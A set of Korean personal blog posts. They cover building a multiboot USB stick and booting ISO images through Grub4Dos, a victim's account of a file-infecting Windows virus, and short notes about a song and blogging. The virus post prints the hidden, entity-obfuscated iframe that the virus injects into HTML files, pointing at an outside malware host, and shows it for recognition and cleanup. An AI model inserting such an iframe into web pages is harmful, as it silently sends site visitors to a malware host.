본 내용은 USB메모리에 다양한 LiveOS 를 넣는 법을 설명한다.

이 내용이 궁금해서 읽는 사람은 대충 어느정도 실력이 있다고 생각되므로
자세한 설명은 생략합니다.

먼저 USB메모리를 준비한다.

본인은 8GB를 사용하였다.

1) 포멧이 되어 있는 USB라도 HP USB Format Tool 을 이용하여 포맷을 한다.
포맷할때 시동디스크로 설정을 해야 나중에 USB로 부팅가능하게 된다.

2) Grub4Dos를 다운 받는다.
Grub4Dos를 USB에 설치하기 위해 여러가지 도구가 있는데 본인은
WinGrub을 사용하여 설치하였다. 하지만 MultiBootUSB 프로그램을 사용하면 필요없다.

3) MultiBootUSB프로그램을 이용하면 LiveCD iso만 있으면 알아서 만들어준다. 끝.

4) MultiBootUSB 는 grub 을 이용하고 USB안에 multibootusb/syslinux.cfg 파일이 menu.lst 라고 생각하면 된다.

하지만, Chrome OS Linux 는 이 방법으로 설치가 되지 않으니....
본인이 반나절 동안 삽질한 끝에 알아낸 방법이니...
(기존에 있는 방법들은 raw 데이터를 USB에 직접 쓰는 방식이기 때문에 Windows에서는 인식이 되지 않는다.)

syslinux.cfg 에

label chromeOS
MENU LABEL chromeos
kernel /chromeos/boot/i386/loader/linux
append initrd=/chromeos/boot/i386/loader/initrd.img ramdis_size=512000 ramdisk_blocksize=4096 splash=silent showopts kiwidebug=1

추가한다.

chrome os linux iso에 들어있는 파일중 /boot/i386/loader 를 USB폴더에 복사한다.

여기까지는 SUSE usb 부팅 관련 사이트를 뒤져보면 구할수 있다.

문제는 initrd 파일인데 initrd.img는 본인이 직접 수정한 이미지이다.

SUSE 포럼에서 initrdud 파일을 구해서 include 파일을 보고 재수정하였다.

여기에 올리기에는 용량이 많으니 include 파일과 init 파일만 올립니다.



이 파일만 수정한뒤 이미지를 다시 만들어서 USB에 넣은 다음

chrome os에 들어있는 config.isolinux 파일과 Chrome_OS_Linux-read-only.i686-1.7.932 파일을 USB최상위에 저장한다.

그리고 부팅하면 USB로 크롬 OS가 부팅된다...

하지만, 그냥 SUSE 에 크롬 브라우저 하나 달랑 있는 느낌??이랄까...

initrd 파일 푸는법:
cp initrd initrd.img.gz
gzip -d initrd.img.gz
cpio -i --make-directories < initrd.img

파일 만든는 법
find . | cpio -o -c |gzip -9 > ../initrd-custom.img

구글에서 하드디스크 windows 7 설치하는법을 찾아보면 방법들이 자세히 나와있다.

이런 방법들을 응용하면 꼭 windows 7 뿐만 아니라 부팅가능한 CD 이미지 파일만 있으면 언제든지 CD 가 아니더라도 하드디스크에 저장되어 있는 이미지 만으로 부팅이 가능하다.

원리는 간단하다. Windows XP 기준으로 설명을 한다.

윈도우 XP 의 부트로더는 기본적으로 SystemRoot 에 있는 boot.ini 를 참고로 한다.

boot.ini 는 처음에는 다음과 같이 되어 있을 것이다.
===================================================================================================
[boot loader]
timeout=10
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /usepmtimer /Execute
===================================================================================================

마지막 줄에 특정 프로그램 경로를 넣어주면 그 프로그램으로 실행할 수 있다.

여기에서는 grub 이라는 리눅스 부트로더를 이용하도록 한다.
grub 은 리눅스용 부트로더이지만 'grub4dos' 라는 윈도우용 프로그램이 있다.

grub4dos 에 있는 grldr 이라는 파일이 부트로더이다.


이 파일을 c:\ 에 다운받은 뒤,
boot.ini 마지막줄에
c:\grldr = "GRUB"
이라고 추가해주면 다음번 부팅시에 XP 와 GRUB 을 선택하는 메뉴가 나온다.

이 부트로더는 기본적으로 menu.lst 라는 파일을 참고한다.


menu.lst 의 기본 사용법은
title "선택항목 제목"

"find --set-root " 이 명령은 각 파티션별로 원하는 파일을 찾도록한다.
"chainloader"   이 명령은 원하는 파일로 부팅시키는 역할을 한다.
"map" 이 명령은 iso 파일등을 메모리에 로드할수 있다.
OS 이미지 같은 경우 이 명령을 써서 메모리에 로드 한뒤에 설치 할 수 있다.

ex)
title install XP
find --set-root /xp.iso
map /xp.iso (0xff) || map --mem /xp.iso (0xff)
map --hook
chainloader (0xff)

이렇게 하면 xp.iso 가 메모리에 올라간뒤 부팅한다.

iso 파일이 메모리 용량보다 클 경우는 하드디스크의 최상위 디렉토리에 파일을 풀면 된다.
가상 CD 로 iso 파일을 읽은뒤 xcopy 명령을 사용하여 옮기도록 한다.
ex)
xcopy f:*.* /e /h /y d:

find --set-root /bootmgr
chainloader /bootmgr

윈도우 7 과 같이 베타버전의 OS 는 dvd 에 구울 필요없이 하드디스크에 이미지를 풀어서 설치하면 훨씬 편하다.

이 방법을 이용하면 노턴 고스트도 하드디스크이미지로 부팅할 수 있게 된다.
Win32:Vitro 바이러스...

이녀석 무지막자한 놈이다.

한번 걸리면 거의 치료를 포기해야 할듯 하다.

감염이 되면 이후에 실행되는 모든 exe 파일이 감염이 된다.
즉 감염이 되면 메모리에 상주하고 있다가 메모리에 올라오는 모든 프로세서를 감염시켜 버린다.

감염이 되고 윈도우를 재부팅 하면 윈도우 시스템 파일이 몽땅 감염되 버리는 멋진 상황이 연출된다.

그러면 최악의 경우 바이러스백신 프로그램까지 감염이 된다.
어짜피 백신도 고칠순 없다. 그냥 예전 파일로 되돌리는 수 밖에...

정말 중요한 데이터가 없으면 그냥 포맷해 버리는게 맘 편하다.
혹시 다른 파티션의 프로그램은 안 지웠다면 꼭 바이러스로 검사해보길 바란다.


그리고 모든 .html 파일에
다음과 같은 걸 집어넣는다.
<iframe src="http://jL.c&#104;ura.pl/rc/" style="&#100;isplay:none"></iframe>

물론 백신프로그램이 바이러스라고 걸러낸다. 저 라인만 지워주면 바이러스라고 하진 않는다.

하지만 exe 파일의 경우 치료법이 없을듯 하다.

정확히 어떤 짓을 하는지 모르지만 exe 파일이 감염되면 원래 자신의 역할은 확실히 수행을 해준다.

이놈 때문에 한달에 무려 2번이나 포맷해버렸다...

일단 샘플을 들고 있으니... 가상머신에서 비교나 해봐야겠다.



뭔가에 취해 노래를 만들어 봤다.

물론 Intro 뿐이지만....

노래제목은 이걸로 할라고 한게 아니였는데.... 어쩌다 보니...

Metallica 의 Die Die My darling 과 비슷해진듯...

녹음은 생각보다 잘 된것 같지만, 역시 기타는 연습이 많이 필요한듯...

학점과 기타 실력과의 상관관계는 반비례라는 것....

기타실력이 늘었다고 생각되면, 학점은 바닥을...

이제 블로거들이 상당히 늘어난거 같다.

블로그란 얘기를 들은지가 한 2년정도 된거 같은데...

난 티스토리가 거의 생길때 잽싸게 가입을 해서 초대장 이런것 필요 없었지만...

티스토리의 인기가 상승함에 따라 내 아이디가 왠지 잘린것 같은 불길한 예감이 들어

주저리주저리 글 하나 쓴다.

마지막 포스팅 이후 8개월만에 쓰는 헛소리 끝

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